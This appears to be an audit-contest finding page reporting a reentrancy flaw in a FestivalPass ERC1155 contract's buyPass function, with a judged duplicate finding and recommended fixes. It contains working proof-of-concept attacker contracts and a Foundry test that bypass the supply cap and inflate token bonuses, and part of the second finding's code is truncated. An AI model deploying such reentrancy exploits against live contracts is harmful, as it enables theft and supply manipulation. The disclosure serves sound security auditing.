Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

[H-01] `buyPass` reentrancy via ERC1155 `_mint` callback bypasses `maxSupply` cap and inflates BEAT supply

Description

buyPass mints an ERC1155 pass to the caller at line 76 before incrementing passSupply at line 77 and before minting the BEAT welcome bonus at lines 79-83. ERC1155's _mint triggers onERC1155Received on contract recipients per the ERC1155 standard. An attacker contract re-enters buyPass during this callback while passSupply still reflects the pre-mint value, so every re-entrant call passes the passSupply < passMaxSupply check. The attacker walks away with arbitrarily many passes (one per re-entry depth, each costing the listed ETH price) and collects the BEAT welcome bonus for every single one.

Vulnerability Details

// src/FestivalPass.sol, lines 69-85
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // @> checked before mint
_mint(msg.sender, collectionId, 1, ""); // @> ERC1155 callback fires HERE — passSupply still stale
++passSupply[collectionId]; // @> incremented AFTER callback returns
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus); // @> bonus minted AFTER callback returns
}
emit PassPurchased(msg.sender, collectionId);
}

The checks-effects-interactions pattern is violated. _mint (interaction) happens before ++passSupply (effect). When _mint calls onERC1155Received on the attacker's contract, the attacker re-enters buyPass with fresh ETH. The supply check passes again because passSupply hasn't been updated. This nesting can repeat up to gas limits.

Consider the following scenario with VIP pass (maxSupply = 3, price = 1 ETH, welcome bonus = 5 BEAT):

  1. Attacker deploys a contract that implements onERC1155Received to re-enter buyPass

  2. Attacker calls buyPass(VIP_PASS) with 1 ETH. passSupply is 0, check passes.

  3. _mint fires onERC1155Received on the attacker contract. passSupply is still 0.

  4. Attacker re-enters buyPass(VIP_PASS) with 1 ETH. passSupply is still 0, check passes again.

  5. This repeats 4 more times (5 total calls, 5 ETH spent).

  6. As the call stack unwinds, each level increments passSupply by 1 and mints 5 BEAT bonus.

  7. Result: attacker holds 5 VIP passes, passSupply = 5 (exceeds maxSupply of 3), 25 BEAT bonus earned.

Risk

Likelihood:

  • Any user can deploy a contract that implements onERC1155Received. The attack is straightforward and requires no special privileges. ERC1155 callbacks are guaranteed by the standard for contract recipients.

Impact:

  • The maxSupply cap is completely bypassed. A single attacker can mint all passes plus extras, earning BEAT bonuses for each. The inflated BEAT supply lets the attacker drain all memorabilia collections via redeemMemorabilia. Legitimate users are locked out of pass purchases since supply appears full after the stack unwinds.

Proof of Concept

The test deploys a ReentrantBuyer contract that re-enters buyPass 4 times via onERC1155Received, buying 5 VIP passes when maxSupply is only 3.

contract ReentrantBuyer {
FestivalPass public festivalPass;
uint256 public passId;
uint256 public reentrancyCount;
uint256 public maxReentrancy;
constructor(FestivalPass _fp, uint256 _passId, uint256 _maxReentrancy) {
festivalPass = _fp;
passId = _passId;
maxReentrancy = _maxReentrancy;
}
function attack() external payable {
uint256 price = festivalPass.passPrice(passId);
festivalPass.buyPass{value: price}(passId);
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
if (reentrancyCount < maxReentrancy) {
reentrancyCount++;
uint256 price = festivalPass.passPrice(passId);
festivalPass.buyPass{value: price}(passId);
}
return this.onERC1155Received.selector;
}
receive() external payable {}
}
function testExploit_BuyPassReentrancy() public {
// Configure VIP pass: price 1 ETH, max supply 3
vm.prank(organizer);
festivalPass.configurePass(2, 1 ether, 3);
// Attacker wants 5 VIP passes when maxSupply is 3
uint256 extraMints = 4;
ReentrantBuyer attacker = new ReentrantBuyer(festivalPass, 2, extraMints);
vm.deal(address(attacker), 5 ether);
attacker.attack{value: 5 ether}();
uint256 attackerPasses = festivalPass.balanceOf(address(attacker), 2);
uint256 beatBalance = beatToken.balanceOf(address(attacker));
// Supply cap violated: 5 passes minted, maxSupply was 3
assertGt(attackerPasses, festivalPass.passMaxSupply(2),
"EXPLOIT: Attacker has MORE passes than maxSupply allows");
// 5 * 5e18 = 25 BEAT bonus, but max intended was 3 * 5e18 = 15
assertGt(beatBalance, festivalPass.passMaxSupply(2) * 5e18,
"EXPLOIT: Attacker earned more BEAT bonus than maxSupply allows");
}

Output:

Attacker VIP passes: 5
Max supply was: 3
BEAT bonus earned: 25000000000000000000

Recommendations

Move state updates before the _mint call to follow checks-effects-interactions:

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ ++passSupply[collectionId];
+ uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
- uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Alternatively, add OpenZeppelin's ReentrancyGuard and mark buyPass as nonReentrant.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!